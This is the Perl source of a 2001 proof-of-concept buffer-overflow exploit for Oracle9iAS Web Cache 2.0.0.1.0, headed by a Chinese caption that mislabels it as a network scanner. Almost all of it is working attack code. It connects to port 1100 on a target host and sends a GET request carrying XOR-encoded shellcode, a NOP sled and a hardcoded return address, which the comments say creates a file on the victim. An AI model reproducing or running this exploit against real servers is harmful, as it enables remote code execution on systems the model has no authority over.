webcache.pl

一个网络扫描程序的源代码

#########################################################################
#
# Proof-of-concept exploit for Oracle9iAS Web Cache/2.0.0.1.0
# Creates the file c:\defcom.iyd
# By [e-mail] (C)2001
#
# 
# Since we do not control the space after what ESP points to, I was lazy 
# and did a direct buffer jump. So, if it does not work, try changing
# the return address(start of buffer in mem) to one that fits your system.
# The buffer starts at 0x05c5f1e8 on my box(WIN2K prof SP2).
# /andreas
#
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
   	print "Usage: $0 <host>\n";
	print "Example: $0 127.0.0.1\n";
	exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "1100"; # default port for the web cache

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

$sploit = "\xeb\x03\x5a\xeb\x05\xe8\xf8\xff\xff\xff\x8b\xec\x8b\xc2\x83\xc0\x18\x33\xc9";
$sploit=$sploit . "\x66\xb9\xb3\x80\x66\x81\xf1\x80\x80\x80\x30\x99\x40\xe2\xfa\xaa\x59";
$sploit=$sploit . "\xf1\x19\x99\x99\x99\xf3\x9b\xc9\xc9\xf1\x99\x99\x99\x89\x1a\x5b\xa4";
$sploit=$sploit . "\xcb\x27\x51\x99\xd5\x99\x66\x8f\xaa\x59\xc9\x27\x09\x98\xd5\x99\x66";
$sploit=$sploit . "\x8f\xfa\xa3\xc5\xfd\xfc\xff\xfa\xf6\xf4\xb7\xf0\xe0\xfd\x99";
$msg = "GET " . $sploit . "\x90" x (3096 - length($sploit)) . "\xe8\xf1\xc5\x05" . " HTTP/1.0\n\n";
print $msg;
send(SOCK, $msg, 0) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;